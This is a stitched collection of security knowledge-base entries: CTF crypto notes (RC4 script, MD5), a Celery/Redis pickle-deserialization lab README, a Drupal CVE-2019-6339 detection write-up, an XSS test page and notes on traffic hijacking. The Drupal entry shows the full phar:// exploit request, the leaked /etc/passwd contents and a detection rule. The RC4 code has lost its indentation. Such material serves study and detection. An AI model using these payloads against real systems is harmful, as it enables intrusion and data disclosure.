下面i,j是两个指针。每收到一个字节,就进行while循环。通过一定的算法((a),(b))定位S盒中的一个元素,并与输入字节异或,得到k。循环中还改变了S盒((c))。如果输入的是[明文](https://zh.wikipedia.org/wiki/%E6%98%8E%E6%96%87),输出的就是[密文](https://zh.wikipedia.org/wiki/%E5%AF%86%E6%96%87);如果输入的是密文,输出的就是明文。
```c
i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256 //a
j := (j + S[i]) mod 256 //b
swap values of S[i] and S[j] //c
k := inputByte ^ S[(S[i] + S[j]) % 256]
output K
endwhile
```
此算法保证每256次循环中S盒的每个元素至少被交换过一次
### python解密脚本
对应例题:《从 0 到 1》RE 篇——BabyAlgorithm
[题目链接](https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%AB%A0%20CTF%E4%B9%8BRE%E7%AB%A0]BabyAlgorithm)
```python
import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a=[] #cipher
key=""
s=""
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)
```
## MD5
**MD5消息摘要算法**(英语:MD5 Message-Digest Algorithm),一种被广泛使用的[密码散列函数](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A2%BC%E9%9B%9C%E6%B9%8A%E5%87%BD%E6%95%B8),可以产生出一个128位(16[字节](https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82))的散列值(hash value),用于确保信息传输完整一致。MD5由美国密码学家[罗纳德·李维斯特](https://zh.wikipedia.org/wiki/%E7%BD%97%E7%BA%B3%E5%BE%B7%C2%B7%E6%9D%8E%E7%BB%B4%E6%96%AF%E7%89%B9)(Ronald Linn Rivest)设计,于1992年公开,用以取代[MD4](https://zh.wikipedia.org/wiki/MD4)算法。这套算法的程序在 [RFC 1321](https://tools.ietf.org/html/rfc1321) 中被加以规范。
伪代码表示为:
```
/Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating
var int[64] r, k
//r specifies the per-round shift amounts
r[ 0..15]:= {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22}
r[16..31]:= {5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20}
r[32..47]:= {4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23}
r[48..63]:= {6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21}
//Use binary integer part of the sines of integers as constants:
for i from 0 to 63
k[i] := floor(abs(sin(i + 1)) × 2^32)
//Initialize variables:
var int h0 := 0x67452301
var int h1 := 0xEFCDAB89
var int h2 := 0x98BADCFE
var int h3 := 0x10325476
//Pre-processing:
append "1" bit to message
append "0" bits until message length in bits ≡ 448 (mod 512)
append bit length of message as 64-bit little-endian integer to message
//Process the message in successive 512-bit chunks:
for each 512-bit chunk of message
break chunk into sixteen 32-bit little-endian words w[i], 0 ≤ i ≤ 15
//Initialize hash value for this chunk:
var int a := h0
var int b := h1
var int c := h2
var int d := h3
//Main loop:
for i from 0 to 63
if 0 ≤ i ≤ 15 then
f := (b and c) or ((not b) and d)
g := i
else if 16 ≤ i ≤ 31
f := (d and b) or ((not d) and c)
g := (5×i + 1) mod 16
else if 32 ≤ i ≤ 47
f := b xor c xor d
g := (3×i + 5) mod 16
else if 48 ≤ i ≤ 63
f := c xor (b or (not d))
g := (7×i) mod 16
temp := d
d := c
c := b
b := leftrotate((a + f + k[i] + w[g]),r[i]) + b
a := temp
Next i
//Add this chunk's hash to result so far:
h0 := h0 + a
h1 := h1 + b
h2 := h2 + c
h3 := h3 + d
End ForEach
var int digest := h0 append h1 append h2 append h3 //(expressed as little-endian)
```
其鲜明的特征是:
```c
h0 = 0x67452301;
h1 = 0xefcdab89;
h2 = 0x98badcfe;
h3 = 0x10325476;
```
|
sec-knowleage
|
# Celery <4.0 Redis unauthorized access + Pickle deserialization exploit
[中文版本(Chinese version)](./README.zh-cn.md)
Celery is a simple, flexible, and reliable distributed system that processes a large number of messages while providing the tools needed to operate and maintain such a system. It is a task queue focused on real-time processing and also supports task scheduling.
In Celery <4.0 version, Pickle is used by default for serialized task messages. When the queue service(e.g. Redis/RabbitMQ/RocketMQ ) used has an unauthorized access problem, the Pickle deserialization vulnerability can be used to execute arbitrary code.
## Vulnerability Environment
Execute the following command to start Celery 3.1.23 + Redis:
```bash
docker compose up -d
```
## Exploit
The exploit script `exploit.py` only supports use under python3
```bash
pip install redis
python exploit.py [Host IP]
```
View Results:
```
docker compose logs celery
```
You can see the following task message error:

```bash
docker compose exec celery ls -l /tmp
```
You can see that the file `celery_success` was successfully created

## Reference
https://docs.celeryproject.org/en/stable/userguide/configuration.html
https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk
https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers
https://www.jianshu.com/p/52552c075bc0
https://www.runoob.com/w3cnote/python-redis-intro.html
https://blog.csdn.net/SKI_12/article/details/85015803
|
sec-knowleage
|
# T1190-CVE-2019-6339-Drupal 远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。人们通常将Drupal拿来和另一个著名的开源CMS,即Joomla进行比较。由于“难度”更大而中文资源较Joomla更少,Drupal在中国的普及程度较Joomla更低。
Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。
在Drupal Core版本7.x之前的7.62,8.6.x之前的8.6.6和8.5.x之前的8.5.x; 在对phar://URI执行文件操作时,PHP的内置phar流包装器中存在一个远程执行代码漏洞。一些Drupal代码(core,contrib和custom)可能正在对用户输入执行文件操作,从而暴露于此漏洞。
## 检测日志
HTTP
## 测试复现
具体利用过程可参考:<https://blog.csdn.net/qq_40989258/article/details/104970882>
## 测试留痕
```yml
POST /admin/config/media/file-system HTTP/1.1
Host: 172.17.41.106:8080
Connection: keep-alive
Content-Length: 340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.41.106:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.41.106:8080/admin/config/media/file-system
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,be;q=0.8
Cookie: 8ciy_2132_ulastactivity=1747%2BBj3bIdraT%2FhUrMgbV9hBzsnRDad5PbJ4P8FXwvrlsfGVbOx; 8ciy_2132_nofavfid=1; 8ciy_2132_saltkey=h7AR59Bx; 8ciy_2132_lastvisit=1603172255; SESS69d0dbb3a7ccb7aab441a7efa90bb8ae=WSVdSnEkxmap5tU9TGG21HegyssjX2hEk8BkBOBEyiU
file_temporary_path=phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F2020-10%2Fblog-ZDI-CAN-7232-cat.jpg&file_default_scheme=public&temporary_maximum_age=21600&form_build_id=form-iN0z3-CojyQl7PlFGKxsy68XNcyvFaBLtQY_ffo-efA&form_token=VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI&form_id=system_file_system_settings&op=Save+configurationHTTP/1.1 200 OK
Date: Wed, 21 Oct 2020 07:58:45 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.3
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5215
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">
<head>
<meta charset="utf-8" />
<noscript><meta http-equiv="Refresh" content="0; URL=/big_pipe/no-js?destination=/admin/config/media/file-system" />
</noscript><meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
<meta name="MobileOptimized" content="width" />
<meta name="HandheldFriendly" content="true" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="shortcut icon" href="/core/misc/favicon.ico" type="image/vnd.microsoft.icon" />
<title>File system | drupal</title>
<link rel="stylesheet" href="/sites/default/files/css/css_U8KsIL9-p4iwTqZpkdfkA6i7Xu4DQ29N9DEp1Suvl74.css?0" media="all" />
<link rel="stylesheet" href="/sites/default/files/css/css_Va4zLdYXDM0x79wYfYIi_RSorpNS_xtrTcNUqq0psQA.css?0" media="screen" />
<link rel="stylesheet" href="/sites/default/files/css/css_UHkVktzxzRp3Q1t6ZHUZJOcy7NuH6r_v1SicD60WiKQ.css?0" media="all" />
<link rel="stylesheet" href="/sites/default/files/css/css_yPXzUqDWCKESqAn18LazKt4XtPbSaHRtJYq74XoubYg.css?0" media="all" />
<!--[if lte IE 8]>
<script src="/sites/default/files/js/js_VtafjXmRvoUgAzqzYTA3Wrjkx9wcWhjP0G4ZnnqRamA.js"></script>
<![endif]-->
<script src="/core/assets/vendor/modernizr/modernizr.min.js?v=3.3.1"></script>
</head>
<body class="toolbar-tray-open toolbar-horizontal toolbar-fixed toolbar-loading user-logged-in path-admin">
<a href="#main-content" class="visually-hidden focusable skip-link">
Skip to main content
</a>
<div id="toolbar-administration" role="group" aria-label="Site administration toolbar" class="toolbar">
<nav id="toolbar-bar" role="navigation" aria-label="Toolbar items" class="toolbar-bar clearfix">
<h2 class="visually-hidden">Toolbar items</h2>
<div class="home-toolbar-tab toolbar-tab">
<a href="/" title="Return to site content" class="toolbar-icon toolbar-icon-escape-admin toolbar-item" data-toolbar-escape-admin>Back to site</a>
<div><nav class="toolbar-lining clearfix" role="navigation"></nav></div> </div>
<div class="toolbar-tab">
<a href="/admin" title="Admin menu" class="toolbar-icon toolbar-icon-menu trigger toolbar-item" data-drupal-subtrees="" id="toolbar-item-administration" data-toolbar-tray="toolbar-item-administration-tray" aria-owns="toolbar-item-administration-tray" role="button" aria-pressed="false">Manage</a>
<div id="toolbar-item-administration-tray" data-toolbar-tray="toolbar-item-administration-tray" class="toolbar-tray"><nav class="toolbar-lining clearfix" role="navigation" aria-label="Administration menu"><h3 class="toolbar-tray-name visually-hidden">Administration menu</h3><div class="toolbar-menu-administration"><ul class="toolbar-menu"><li class="menu-item menu-item--collapsed"><a href="/admin/content" title="Find and manage content." id="toolbar-link-system-admin_content" class="toolbar-icon toolbar-icon-system-admin-content" data-drupal-link-system-path="admin/content">Content</a></li><li class="menu-item menu-item--collapsed"><a href="/admin/structure" title="Administer blocks, content types, menus, etc." id="toolbar-link-system-admin_structure" class="toolbar-icon toolbar-icon-system-admin-structure" data-drupal-link-system-path="admin/structure">Structure</a></li><li class="menu-item"><a href="/admin/appearance" title="Select and configure themes." id="toolbar-link-system-themes_page" class="toolbar-icon toolbar-icon-system-themes-page" data-drupal-link-system-path="admin/appearance">Appearance</a></li><li class="menu-item"><a href="/admin/modules" title="Add and enable modules to extend site functionality." id="toolbar-link-system-modules_list" class="toolbar-icon toolbar-icon-system-modules-list" data-drupal-link-system-path="admin/modules">Extend</a></li><li class="menu-item menu-item--collapsed"><a href="/admin/config" title="Administer settings." id="toolbar-link-system-admin_config" class="toolbar-icon toolbar-icon-system-admin-config" data-drupal-link-system-path="admin/config">Configuration</a></li><li class="menu-item"><a href="/admin/people" title="Manage user accounts, roles, and permissions." id="toolbar-link-entity-user-collection" class="toolbar-icon toolbar-icon-entity-user-collection" data-drupal-link-system-path="admin/people">People</a></li><li class="menu-item menu-item--collapsed"><a href="/admin/reports" title="View reports, updates, and errors." id="toolbar-link-system-admin_reports" class="toolbar-icon toolbar-icon-system-admin-reports" data-drupal-link-system-path="admin/reports">Reports</a></li><li class="menu-item"><a href="/admin/help" title="Reference for usage, configuration, and modules." id="toolbar-link-help-main" class="toolbar-icon toolbar-icon-help-main" data-drupal-link-system-path="admin/help">Help</a></li></ul></div></nav></div> </div>
<div class="toolbar-tab">
<a href="/admin/config/user-interface/shortcut" title="Shortcuts" class="toolbar-icon toolbar-icon-shortcut trigger toolbar-item" id="toolbar-item-shortcuts" data-toolbar-tray="toolbar-item-shortcuts-tray" aria-owns="toolbar-item-shortcuts-tray" role="button" aria-pressed="false">Shortcuts</a>
<div id="toolbar-item-shortcuts-tray" data-toolbar-tray="toolbar-item-shortcuts-tray" class="toolbar-tray"><nav class="toolbar-lining clearfix" role="navigation" aria-label="User-defined shortcuts"><h3 class="toolbar-tray-name visually-hidden">User-defined shortcuts</h3><ul class="toolbar-menu"><li><a href="/node/add">Add content</a></li><li><a href="/admin/content">All content</a></li></ul><a href="/admin/config/user-interface/shortcut/manage/default/customize" class="edit-shortcuts">Edit shortcuts</a></nav></div> </div>
<div class="hidden contextual-toolbar-tab toolbar-tab">
<button class="toolbar-icon toolbar-icon-edit toolbar-item" aria-pressed="false" type="button">Edit</button>
<div><nav class="toolbar-lining clearfix" role="navigation"></nav></div> </div>
<div class="tour-toolbar-tab hidden toolbar-tab" id="toolbar-tab-tour">
<button class="toolbar-icon toolbar-icon-help toolbar-item" aria-pressed="false" type="button">Tour</button>
<div><nav class="toolbar-lining clearfix" role="navigation"></nav></div> </div>
<div class="toolbar-tab">
<a href="/user" title="My account" class="toolbar-icon toolbar-icon-user trigger toolbar-item" id="toolbar-item-user" data-toolbar-tray="toolbar-item-user-tray" aria-owns="toolbar-item-user-tray" role="button" aria-pressed="false">admin</a>
<div id="toolbar-item-user-tray" data-toolbar-tray="toolbar-item-user-tray" class="toolbar-tray"><nav class="toolbar-lining clearfix" role="navigation" aria-label="User account actions"><h3 class="toolbar-tray-name visually-hidden">User account actions</h3><ul class="toolbar-menu"><li class="account"><a href="/user" title="User account">View profile</a></li><li class="account-edit"><a href="/user/1/edit" title="Edit user account">Edit profile</a></li><li class="logout"><a href="/user/logout">Log out</a></li></ul></nav></div> </div>
</nav>
</div>
<div class="dialog-off-canvas-main-canvas" data-off-canvas-main-canvas>
<header class="content-header clearfix">
<div class="layout-container">
<div class="region region-header">
<div id="block-seven-page-title" class="block block-core block-page-title-block">
<h1 class="js-quickedit-page-title page-title">File system</h1>
<a href="/admin/config/user-interface/shortcut/manage/default/add-link-inline?link=admin/config/media/file-system&name=File%20system&destination=/admin/config/media/file-system&token=flS1Fo4ABnGysV5WkcZ2RBFadVpFgQ63k_MtjYRuPHE" class="shortcut-action shortcut-action--add"><span class="shortcut-action__icon"></span><span class="shortcut-action__message">Add to <em class="placeholder">Default</em> shortcuts</span></a>
</div>
</div>
</div>
</header>
<div class="layout-container">
<div class="region region-breadcrumb">
<div id="block-seven-breadcrumbs" class="block block-system block-system-breadcrumb-block">
<nav class="breadcrumb" role="navigation" aria-labelledby="system-breadcrumb">
<h2 id="system-breadcrumb" class="visually-hidden">Breadcrumb</h2>
<ol>
<li>
<a href="/">Home</a>
</li>
<li>
<a href="/admin">Administration</a>
</li>
<li>
<a href="/admin/config">Configuration</a>
</li>
<li>
<a href="/admin/config/media">Media</a>
</li>
</ol>
</nav>
</div>
</div>
<main class="page-content clearfix" role="main">
<div class="visually-hidden"><a id="main-content" tabindex="-1"></a></div>
<div class="region region-highlighted">
<div role="contentinfo" aria-label="Error message" class="messages messages--error">
<div role="alert">
<h2 class="visually-hidden">Error message</h2>
The directory <em class="placeholder">phar://./sites/default/files/pictures/2020-10/blog-ZDI-CAN-7232-cat.jpg</em> does not exist and could not be created.
</div>
</div>
</div>
<div class="help">
</div>
<div class="region region-content">
<div id="block-seven-content" class="block block-system block-system-main-block">
<form class="system-file-system-settings" data-drupal-selector="system-file-system-settings" action="/admin/config/media/file-system" method="post" id="system-file-system-settings" accept-charset="UTF-8">
<div id="edit-file-public-path" class="js-form-item form-item js-form-type-item form-type-item js-form-item-file-public-path form-item-file-public-path">
<label for="edit-file-public-path">Public file system path</label>
sites/default/files
<div id="edit-file-public-path--description" class="description">
A local file system path where public files will be stored. This directory must exist and be writable by Drupal. This directory must be relative to the Drupal installation directory and be accessible over the web. This must be changed in settings.php
</div>
</div>
<div id="edit-file-public-base-url" class="js-form-item form-item js-form-type-item form-type-item js-form-item-file-public-base-url form-item-file-public-base-url">
<label for="edit-file-public-base-url">Public file base URL</label>
http://172.17.41.106:8080/sites/default/files
<div id="edit-file-public-base-url--description" class="description">
The base URL that will be used for public file URLs. This can be changed in settings.php
</div>
</div>
<div id="edit-file-private-path" class="js-form-item form-item js-form-type-item form-type-item js-form-item-file-private-path form-item-file-private-path">
<label for="edit-file-private-path">Private file system path</label>
Not set
<div id="edit-file-private-path--description" class="description">
An existing local file system path for storing private files. It should be writable by Drupal and not accessible over the web. This must be changed in settings.php
</div>
</div>
<div class="js-form-item form-item js-form-type-textfield form-type-textfield js-form-item-file-temporary-path form-item-file-temporary-path">
<label for="edit-file-temporary-path">Temporary directory</label>
<input data-drupal-selector="edit-file-temporary-path" aria-describedby="edit-file-temporary-path--description" type="text" id="edit-file-temporary-path" name="file_temporary_path" value="phar://./sites/default/files/pictures/2020-10/blog-ZDI-CAN-7232-cat.jpg" size="60" maxlength="255" class="form-text error" aria-invalid="true" />
<div id="edit-file-temporary-path--description" class="description">
A local file system path where temporary files will be stored. This directory should not be accessible over the web.
</div>
</div>
<fieldset data-drupal-selector="edit-file-default-scheme" aria-describedby="edit-file-default-scheme--wrapper--description" id="edit-file-default-scheme--wrapper" class="fieldgroup form-composite js-form-item form-item js-form-wrapper form-wrapper">
<legend>
<span class="fieldset-legend">Default download method</span>
</legend>
<div class="fieldset-wrapper">
<div id="edit-file-default-scheme" class="form-radios"><div class="js-form-item form-item js-form-type-radio form-type-radio js-form-item-file-default-scheme form-item-file-default-scheme">
<input data-drupal-selector="edit-file-default-scheme-public" aria-describedby="edit-file-default-scheme--description" type="radio" id="edit-file-default-scheme-public" name="file_default_scheme" value="public" checked="checked" class="form-radio" />
<label for="edit-file-default-scheme-public" class="option">Public local files served by the webserver.</label>
</div>
</div>
<div id="edit-file-default-scheme--wrapper--description" class="description">This setting is used as the preferred download method. The use of public files is more efficient, but does not provide any access control.</div>
</div>
</fieldset>
<div class="js-form-item form-item js-form-type-select form-type-select js-form-item-temporary-maximum-age form-item-temporary-maximum-age">
<label for="edit-temporary-maximum-age">Delete temporary files after</label>
<select data-drupal-selector="edit-temporary-maximum-age" aria-describedby="edit-temporary-maximum-age--description" id="edit-temporary-maximum-age" name="temporary_maximum_age" class="form-select"><option value="0">Never</option><option value="21600" selected="selected">6 hours</option><option value="43200">12 hours</option><option value="86400">1 day</option><option value="604800">1 week</option><option value="2419200">4 weeks</option><option value="7776000">3 months</option></select>
<div id="edit-temporary-maximum-age--description" class="description">
Temporary files are not referenced, but are in the file system and therefore may show up in administrative lists. <strong>Warning:</strong> If enabled, temporary files will be permanently deleted and may not be recoverable.
</div>
</div>
<input autocomplete="off" data-drupal-selector="form-xxnkpoc7rzwnq4z5jmb-mz1kjulxko1wlfebmesxg0e" type="hidden" name="form_build_id" value="form-XXNkPoC7rZwnq4z5JMb-mz1KJulxKo1WLFEbmESXg0E" />
<input data-drupal-selector="edit-system-file-system-settings-form-token" type="hidden" name="form_token" value="VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI" />
<input data-drupal-selector="edit-system-file-system-settings" type="hidden" name="form_id" value="system_file_system_settings" />
<div data-drupal-selector="edit-actions" class="form-actions js-form-wrapper form-wrapper" id="edit-actions"><input data-drupal-selector="edit-submit" type="submit" id="edit-submit" name="op" value="Save configuration" class="button button--primary js-form-submit form-submit" />
</div>
</form>
</div>
</div>
</main>
</div>
</div>
<script type="application/json" data-drupal-selector="drupal-settings-json">{"path":{"baseUrl":"\/","scriptPath":null,"pathPrefix":"","currentPath":"admin\/config\/media\/file-system","currentPathIsAdmin":true,"isFront":false,"currentLanguage":"en"},"pluralDelimiter":"\u0003","ajaxPageState":{"libraries":"classy\/base,classy\/messages,contextual\/drupal.contextual-links,contextual\/drupal.contextual-toolbar,core\/drupal.active-link,core\/html5shiv,core\/normalize,seven\/global-styling,shortcut\/drupal.shortcut,toolbar\/toolbar,toolbar\/toolbar.escapeAdmin,tour\/tour,user\/drupal.user.icons","theme":"seven","theme_token":"dSH29E-Om61JkNx9kdM-3k77DozHJOeg_hetRt6HTOo"},"ajaxTrustedUrl":{"form_action_p_pvdeGsVG5zNF_XLGPTvYSKCf43t8qZYSwcfZl2uzM":true},"toolbar":{"breakpoints":{"toolbar.narrow":"only screen and (min-width: 16.5em)","toolbar.standard":"only screen and (min-width: 38.125em)","toolbar.wide":"only screen and (min-width: 61em)"},"subtreesHash":"q5SbYHg6y4E5ktkc8Idp0_YGhICDGzYrK47EstXN08M"},"user":{"uid":"1","permissionsHash":"d050762cf90cd597087f492abb3a179258136b50c38a41d068c2cca748489bc0"}}</script>
<script src="/sites/default/files/js/js_BKcMdIbOMdbTdLn9dkUq3KCJfIKKo2SvKoQ1AnB8D-g.js"></script>
<!--[if lte IE 9]>
<script src="/sites/default/files/js/js_VhqXmo4azheUjYC30rijnR_Dddo0WjWkF27k5gTL8S4.js"></script>
<![endif]-->
<script src="/sites/default/files/js/js_vmYBmsMCxrmurAYwjC1NnhJYlQfB1pS1mAlU__M2ar8.js"></script>
</body>
</html>
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"CVE-2019-6339-Drupal远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"/admin/config/media/file-system";http_uri;content:"phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F";http_client_body;reference:url,blog.csdn.net/qq_40989258/article/details/104970882;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
(环境搭建+复现) CVE-2019-6339 Drupal远程代码执行漏洞
<https://blog.csdn.net/qq_40989258/article/details/104970882>
|
sec-knowleage
|
# Introduction
这部分介绍相关漏洞或者攻击方式,文章中有关于题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
|
sec-knowleage
|
# HITCON 2019 Quals
Team: c7, nazywam, msm, chivay, Eternal, rodbert, rev, shalom
### Table of contents
* [Lost modulus again(crypto)](lost_modulus)
* [HeXdump (misc)](hexdump)
* [Lost key again(crypto)](lost_key)
* [Crypto in the Shell (pwn)](crypto_in_the_shell)
|
sec-knowleage
|
<!DOCTYPE html>
<html>
<head>
<title>XSS Vulnerability</title>
<script src="static/app.js"></script>
</head>
<body>
<p id="m"></p>
</body>
</html>
|
sec-knowleage
|
from library import *
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1], n)
show_traces(t)
|
sec-knowleage
|
# 关于流量劫持问题
对流量劫持问题的一些整理,如侵权请联系删除( •̀ ω •́ )y
从攻击面上来讲,流量劫持大概可以分为两个部分:本地劫持 和 网络劫持,本篇笔记在整理的过程中,也是按照这种方式。其中,本地劫持后面的几种方式,都可以归纳为网络劫持(即,离开用户主机后穿行于各个路由网关节点时所遭遇的劫持问题)。
## 0. 本地劫持
### 定义
常使用流氓软件的方式,安装在用户的客户端,与木马的行为本质无异(主页锁定,网页劫持、广告弹窗、流量暗刷、静默安装)。
### 案例
- 通过浏览器插件进行流量劫持的QTV系列变种[5]

图:注入方式的劫持流程图
- “高清影视流氓病毒”案例

图:流氓软件方式的劫持流程图
- 广告弹窗挂马
> 原本的广告流量被注入了网页木马,以广告弹窗等形式在客户端触发,这属于一种变相的流量劫持,更确切的说应该称之为“流量污染”或“流量投毒”[5]
## 1. DNS劫持
### 定义
> DNS劫持是你想去机场的时候,把你给丢到火车站。
### 攻击方法
> **1.本机DNS劫持**
>
> 攻击者通过某些手段使用户的计算机感染上木马病毒,或者恶意软件之后,恶意修改本地DNS配置,比如修改本地hosts文件,缓存等
>
> **2. 路由DNS劫持**
>
